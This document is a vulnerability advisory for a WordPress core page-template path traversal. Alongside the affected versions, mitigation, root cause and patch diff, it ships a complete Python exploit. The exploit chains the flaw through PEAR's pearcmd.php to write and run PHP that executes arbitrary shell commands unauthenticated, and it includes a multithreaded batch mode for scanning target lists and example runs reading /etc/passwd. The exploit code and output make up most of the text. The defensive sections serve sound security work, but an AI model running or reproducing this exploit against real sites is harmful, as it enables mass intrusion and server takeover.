#Summary
CVE-2026-87902 is an unauthenticated path traversal in WordPress core affecting versions 4.7.0 through 7.1.1. The vulnerability permits arbitrary local PHP file inclusion through the page-template resolution logic in get_page_template(), chainable to remote code execution when a suitable gadget is available. CVSS score 8.1 HIGH; vendor rates it Critical.
#Am I affected?
- Affected: WordPress core
4.7.0through7.1.1 - Patched: WordPress core
7.1.2and all per-branch backports (see RESEARCH.md for the full list) - Default configuration: affected if the active theme contains a directory starting with
page-(common:page-templates/in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney) - Access needed: unauthenticated network access; no login, nonce, or cookie required
#How to check
A reliable check is to inspect the active theme for a directory name starting with page-:
ls -la /path/to/wordpress/wp-content/themes/active-theme/ | grep "^d.*page-"If a directory matches, the traversal precondition is present. Alternatively, check the WordPress version number directly from wp-includes/version.php:
grep 'wp_version =' /path/to/wordpress/wp-includes/version.php| Version | Verdict |
|---|---|
| 4.7.0 - 7.1.1 | Vulnerable if theme has page-* directory |
| 7.1.2 and later, or any per-branch patch level | Patched |
Note: some distributions backport security patches to older releases. If in doubt, test with the PoC; a vulnerable target will execute arbitrary commands.
#Fix and mitigation
- Fix: upgrade to WordPress core 7.1.2 or the backported patch for your branch (4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6 and 7.1.2)
- If you cannot upgrade: replace the active theme with one that does not ship a
page-*directory at the top level, or manually rename the existingpage-templates/(or equivalent) to something else. This removes the traversal entry point but does not close the underlying file-inclusion class of bug inlocate_template(). - Detection: watch for POST requests to
/withpage_idand URL-encoded pagename parameters (look for%252eor%252fin access logs; these are double-encoded dots and slashes). The exploit makes two POST requests, both targeting/in the root of the install.
#Root cause analysis
#Vulnerable code path
The vulnerability lives in two functions in wp-includes/template.php. First, get_page_template() builds a candidate template name from the raw pagename query variable:
function get_page_template() {
$id = get_queried_object_id();
$template = get_page_template_slug();
$pagename = get_query_var( 'pagename' );
...
$templates = array();
if ( $template && 0 === validate_file( $template ) ) {
$templates[] = $template;
}
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
...
return get_query_template( 'page', $templates );
}The asymmetry is fatal: the custom page-template slug $template is gated by validate_file(), but the $pagename branch is not. This disparity was introduced in 4.7.0 when the urldecode() branch was added to support multibyte characters in page slugs.
Next, locate_template() resolves each candidate by bare string concatenation with no containment check:
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$located = $wp_template_path . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
}
}There is no realpath(), no prefix comparison, no rejection of .. traversal sequences. Anything file_exists() accepts is returned and subsequently include()d by template-loader.php, executing it as PHP in the WordPress request context.
#Why the preconditions matter
The exploit uses the pattern page-{$pagename}.php, where WordPress glues the literal prefix page- onto the front. POSIX path resolution requires every component to exist, so a payload beginning with ../ produces a component literally named page-.., which does not exist. The traversal only resolves if the active theme contains a real top-level directory whose name begins with page-. The near-universal one is page-templates/.
For example, pagename = templates%2f%2e%2e%2f... becomes the candidate page-templates/../../..., and since page-templates/ is a real directory, the .. components traverse out of it.
The payload must also be double URL-encoded. PHP decodes the POST body once automatically, and then get_page_template() decodes it again with urldecode(). This two-layer encoding allows the payload to survive wp_basename() (which looks for a literal / - percent-encoded slashes are invisible to it) and sanitize_title_with_dashes() (which deliberately preserves percent-octets but mangles literal dots and slashes).
The target .php file must be lowercase in all path components, because the sanitizer lowercases the entire string. The trailing .php is omitted from the payload (WordPress appends it).
#Patch diff
#What the fix does
The 7.1.2 patch adds three defenses:
First, the decoded pagename branch gains the same validate_file() gate its custom-template sibling already had:
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}validate_file() rejects any path with more than one ../ or a ../ not at the very end.
Second, a new private helper enforces path containment:
function _wp_is_template_path_allowed( $path ) {
global $wp_stylesheet_path, $wp_template_path;
// A file path that exists and does not contain `..` is allowed.
if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
return true;
}
// Resolve the true location of the requested file for later comparison.
$real_path = realpath( $path );
if ( false === $real_path ) {
return false;
}
$real_path = trailingslashit( wp_normalize_path( $real_path ) );
$directories = array(
$wp_stylesheet_path,
$wp_template_path,
ABSPATH . WPINC . '/theme-compat',
);
foreach ( $directories as $real_directory ) {
// The true location of the requested file must be inside one of the allowed directories.
if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
return true;
}
}
return false;
}Third, locate_template() only breaks the search loop if containment passes:
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
- $located = $wp_stylesheet_path . '/' . $template_name;
- break;
+ $candidate = $wp_stylesheet_path . '/' . $template_name;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
- $located = $wp_template_path . '/' . $template_name;
- break;
+ $candidate = $wp_template_path . '/' . $template_name;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
- $located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
+ $candidate = ABSPATH . WPINC . '/theme-compat/' . $template_name;
+ } else {
+ continue;
+ }
+
+ if ( _wp_is_template_path_allowed( $candidate ) ) {
+ $located = $candidate;
break;
}Since locate_template() is the unified resolver for the entire template hierarchy, this second fix closes the entire class of path-traversal bugs, not just the page- entry point.
#Proof of concept
#exploit.py - WordPress Path Traversal to RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-87902 - WordPress core page-template path traversal to unauthenticated RCE
Affected: WordPress core 4.7.0 through 7.1.1 (fixed in 7.1.2 and the per-branch backports)
Type: Path traversal / local PHP file inclusion, chained to RCE via the PEAR gadget
get_page_template() builds the candidate "page-{pagename}.php" from the raw `pagename`
query var with no validate_file() gate, and the 7.1.1 locate_template() resolves each
candidate by bare string concatenation with no path-containment check. A double-encoded
`../` sequence therefore walks out of the active theme's `page-*` directory to any
readable lowercase-pathed local .php file, which template-loader.php then include()s and
executes. Chaining PEAR's pearcmd.php (with register_argc_argv=On) turns that inclusion
into an arbitrary file write, and a second inclusion of the written file yields command
execution as the web server user.
The chain is two anonymous POST requests. No credentials, nonce or cookie are needed.
Usage:
python exploit.py --host <target> --port 80
python exploit.py --host 192.168.1.10 --port 8080 --command "id"
python exploit.py --host https://target.com --command "uname -a"
python exploit.py --host http://target.com/blog --page-id 2 --command "cat /etc/passwd"
python exploit.py --list targets.txt --workers 20
Notes on tuning against a real target (all exposed as flags, sane defaults built in):
--page-id a published, anonymously viewable page id (stock installs: 2, "Sample Page")
--page-prefix the remainder of the active theme's top-level "page-*" directory name
(default "templates" for the near-universal page-templates/ directory)
--depth number of ../ segments; overshooting to / is harmless, so the generous
default reaches / regardless of web-root depth
--gadget absolute-from-/ path of the local .php gadget, without the .php suffix
--dropdir absolute-from-/ writable directory the write stage drops its file into
"""
import argparse
import http.client
import re
import secrets
import socket
import ssl
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-87902"
VULN_TYPE = "RCE"
# read-only PEAR command used as a non-destructive probe: it prints a recognisable banner
# and writes nothing to disk.
_PROBE_SIGNATURE = "REGISTERED CHANNELS"
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Low-level HTTP. Uses http.client rather than requests on purpose: the write
# stage carries a raw PHP payload and literal `+` separators in the query
# string, and both requests and urllib percent-encode `<`, `>` and friends,
# which would land inert `%3C%3F%3D` bytes in the written file instead of a
# `<?=` open tag. http.client sends the request-line path verbatim.
# --------------------------------------------------------------------------- #
def _http_post(host, port, use_tls, path, body, timeout=15):
"""Single POST. `path` (which may embed a raw query string) is sent verbatim.
Returns (status_code, response_body_text)."""
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body)),
"Connection": "close",
}
conn.request("POST", path, body=body, headers=headers)
resp = conn.getresponse()
raw = resp.read()
return resp.status, raw.decode("latin-1", "replace")
finally:
conn.close()
# --------------------------------------------------------------------------- #
# Payload construction
# --------------------------------------------------------------------------- #
def _dbl(s):
"""Double-encode a path fragment's separators so it survives PHP's first
urldecode, wp_basename() and sanitize_title_with_dashes(), and is decoded to
real `/` and `.` only by the urldecode() inside get_page_template()."""
return s.replace(".", "%252e").replace("/", "%252f")
def _traversal(page_prefix, depth, target_path):
"""Build the double-encoded `pagename` value.
The active theme dir is prefixed with the literal `page-` by WordPress, so the
payload begins with the *rest* of that directory name (page_prefix), then climbs
with `depth` copies of ../ and descends into target_path (an absolute-from-/ path
with the trailing .php omitted - WordPress appends it)."""
climb = "%252f" + ("%252e%252e%252f" * depth)
return page_prefix + climb + _dbl(target_path.strip("/"))
def _php_string(s):
"""Render an arbitrary byte string as a space-free PHP expression: chr(a).chr(b)...
This keeps spaces, quotes, `+` and other separators out of the wire payload, so an
arbitrary --command (with spaces) survives argv splitting intact."""
return ".".join("chr(%d)" % (b & 0xFF) for b in s.encode("latin-1", "replace"))
def _build_php_payload(command, marker):
"""Space-free PHP that echoes the marker, runs the command, echoes the marker again,
then removes itself. The marker brackets the command output so it can be recovered
from the surrounding theme markup; config-create duplicates the payload into several
config keys, so it runs (and self-deletes) more than once, which is expected."""
m = _php_string(marker)
c = _php_string(command)
# `<?=` echoes the value of its first expression, so the opening marker is that
# expression (echoed directly) rather than a print() call, whose return value 1 would
# otherwise be emitted too. system() streams the command output directly. The markers
# then bracket exactly the command output.
return "<?=%s;system(%s);print(%s);@unlink(__FILE__)?>" % (m, c, m)
def _base_path(path):
p = (path or "/").rstrip("/")
return p + "/"
# --------------------------------------------------------------------------- #
# Core operations
# --------------------------------------------------------------------------- #
def _pear_probe(host, port, use_tls, base, page_id, page_prefix, depth, gadget, timeout=15):
"""Read-only reachability check. Includes the PEAR gadget and runs its harmless
`list-channels` command; returns True if the recognisable banner comes back.
Writes nothing. Proves the traversal reaches an executable local .php gadget, i.e.
that the full write/execute chain is available."""
trav = _traversal(page_prefix, depth, gadget)
body = "page_id=%s&pagename=%s" % (page_id, trav)
path = base + "?+list-channels"
try:
status, text = _http_post(host, port, use_tls, path, body, timeout)
except Exception:
return False
return status == 200 and _PROBE_SIGNATURE in text
def _resolve_page_id(host, port, use_tls, base, page_id, page_prefix, depth, gadget, timeout=15):
"""Return a page id for which the traversal fires (i.e. the request stays off the 404
path). Try the supplied id first, then a small sweep of low ids common on stock
installs. Returns None if none work."""
candidates = [page_id] + [i for i in range(1, 21) if i != page_id]
for pid in candidates:
if _pear_probe(host, port, use_tls, base, pid, page_prefix, depth, gadget, timeout):
return pid
return None
def _run_chain(host, port, use_tls, base, page_id, page_prefix, depth, gadget,
dropdir, command, timeout=15):
"""Execute the two-stage write+include chain. Returns (ok, evidence, detail) where
detail carries the recovered command output on success."""
marker = secrets.token_hex(8)
name = "poc_" + secrets.token_hex(5)
payload = _build_php_payload(command, marker)
# Stage 1: include pearcmd.php and drive config-create to write our PHP into a file.
outfile = "/" + dropdir.strip("/") + "/" + name + ".php"
pear_trav = _traversal(page_prefix, depth, gadget)
stage1_path = base + "?+config-create+/" + payload + "+" + outfile
stage1_body = "page_id=%s&pagename=%s" % (page_id, pear_trav)
s1_status, _ = _http_post(host, port, use_tls, stage1_path, stage1_body, timeout)
if s1_status != 200:
return False, "stage 1 (write) returned HTTP %s" % s1_status, ""
# Stage 2: include the file we just wrote; it runs and deletes itself.
drop_target = dropdir.strip("/") + "/" + name
drop_trav = _traversal(page_prefix, depth, drop_target)
stage2_body = "page_id=%s&pagename=%s" % (page_id, drop_trav)
s2_status, s2_text = _http_post(host, port, use_tls, base, stage2_body, timeout)
if s2_status != 200:
return False, "stage 2 (include) returned HTTP %s" % s2_status, ""
segments = re.findall(re.escape(marker) + "(.*?)" + re.escape(marker), s2_text, re.S)
if not segments:
return False, "payload written but no command output in response (target may be patched)", ""
output = segments[0].strip()
first_line = output.splitlines()[0].strip() if output else "(command produced no output)"
return True, first_line, output
# --------------------------------------------------------------------------- #
# Scan mode
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls=False, path="/", page_id=2, page_prefix="templates",
depth=12, gadget="usr/local/lib/php/pearcmd", **kwargs):
"""Silent probe for --list mode. Read-only: confirms the traversal reaches the PEAR
gadget without writing anything. Never prints, never exits."""
base = _base_path(path)
try:
pid = _resolve_page_id(host, port, use_tls, base, page_id, page_prefix, depth,
gadget, timeout=8)
except (socket.timeout, socket.error, http.client.HTTPException, ssl.SSLError) as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
if pid is None:
return False, "traversal did not resolve (patched, wrong theme prefix, or no matching page)"
return True, "PEAR gadget reachable via page-%s traversal (page_id=%s) - RCE-capable" % (page_prefix, pid)
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, page_id=2, page_prefix="templates",
depth=12, gadget="usr/local/lib/php/pearcmd", **kwargs):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, page_id=page_id,
page_prefix=page_prefix, depth=depth, gadget=gadget)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploitable" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploitable / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, command, page_id, page_prefix, depth, gadget, dropdir):
header(host, port)
base = _base_path(path)
step(1, "Locating a published page to keep the request off the 404 path...")
pid = _resolve_page_id(host, port, use_tls, base, page_id, page_prefix, depth, gadget)
if pid is None:
section("PROBE", "Traversal to the PEAR gadget did not resolve for any tried page id.")
done(False, "Not exploitable: patched, wrong --page-prefix/--depth, PEAR gadget absent, "
"or no anonymously viewable page found (try --page-id).")
print(" page_id=%s works and the PEAR gadget is reachable." % pid)
step(2, "Confirming the include primitive with a read-only PEAR command...")
# The resolve step already ran list-channels successfully; report it explicitly.
section("READ-ONLY PROOF",
"page-%s traversal (depth %d) reaches %s.php and executes it; "
"PEAR 'list-channels' banner returned. No file written." % (page_prefix, depth, gadget))
step(3, "Stage 1 - writing a PHP payload via PEAR config-create...")
step(4, "Stage 2 - including the written payload to run the command...")
ok, evidence, output = _run_chain(host, port, use_tls, base, pid, page_prefix, depth,
gadget, dropdir, command)
if not ok:
section("SERVER RESPONSE", evidence)
done(False, evidence)
section("COMMAND OUTPUT", output)
done(True, "RCE confirmed - command '%s' output: %s" % (command, evidence))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/blog)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--page-id", type=int, default=2,
help="Published page id to pin the request to (default: 2, stock 'Sample Page')")
parser.add_argument("--page-prefix", default="templates",
help="Remainder of the theme's page-* directory name (default: templates -> page-templates)")
parser.add_argument("--depth", type=int, default=12,
help="Number of ../ segments; overshoot to / is harmless (default: 12)")
parser.add_argument("--gadget", default="usr/local/lib/php/pearcmd",
help="Absolute-from-/ path of the local .php gadget, no .php suffix "
"(default: usr/local/lib/php/pearcmd)")
parser.add_argument("--dropdir", default="tmp",
help="Absolute-from-/ writable dir for the write stage (default: tmp)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, page_id=args.page_id,
page_prefix=args.page_prefix, depth=args.depth, gadget=args.gadget)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.page_id, args.page_prefix,
args.depth, args.gadget, args.dropdir)#Usage
# Single target with default command (id)
python exploit.py --host 192.168.1.10 --port 80
# Full URL with custom command
python exploit.py --host http://192.168.1.10/blog --command "cat /etc/passwd"
# HTTPS target (self-signed certs accepted)
python exploit.py --host https://target.example.com --command "uname -a"
# Batch scan an asset list
python exploit.py --list targets.txt --workers 20Expected output on a vulnerable target:
[STEP 1] Locating a published page to keep the request off the 404 path...
page_id=2 works and the PEAR gadget is reachable.
[STEP 2] Confirming the include primitive with a read-only PEAR command...
--- READ-ONLY PROOF ---
page-templates traversal (depth 12) reaches usr/local/lib/php/pearcmd.php and executes it; PEAR 'list-channels' banner returned. No file written.
---
[STEP 3] Stage 1 - writing a PHP payload via PEAR config-create...
[STEP 4] Stage 2 - including the written payload to run the command...
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)On a patched target, the probe fails to locate a valid page id and reports not exploitable.
#Exploitation notes
#Preconditions
- A published, anonymously viewable page exists at a known numeric id (stock installs have "Sample Page" at id 2)
- The active theme contains a top-level directory starting with
page-(usuallypage-templates/) - The target PHP file exists, is readable, and contains only lowercase characters and paths matching
[a-z0-9/_-] - No
open_basediror equivalent restriction blocks file access - For the RCE chain specifically:
/usr/local/lib/php/pearcmd.phpexists andregister_argc_argvis on (both defaults in official PHP images)
#Reliability
The exploit is highly reliable when preconditions are met. The chain uses only two HTTP POST requests with no timing dependencies or race conditions. Network-observable success is judged from command output returned in the stage-2 HTTP 200 response body.
If PEAR is absent or register_argc_argv is off, the underlying file-inclusion primitive (rung 2) remains present and can be weaponized with a different local gadget.
#Impact
Unauthenticated remote code execution as the web server user. The exploit reads and writes arbitrary files, executes arbitrary shell commands, and returns the output over the network in HTTP responses.
#Chaining potential
The local file inclusion is reusable: any readable lowercase-pathed .php file can be included, not just PEAR. Alternative gadgets on a hardened target (one without PEAR or with register_argc_argv=Off) include other language interpreters or configuration files that can be wrapped in template markup. The file-disclosure component is guaranteed; the code-execution component depends on gadget availability.
#References
- CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
- GHSA Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- NVD Summary: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
- WordPress Core Repository: https://github.com/WordPress/wordpress-develop
- Vulnerability Disclosed: 2026-09-22
🤖 Generated with Claude Code
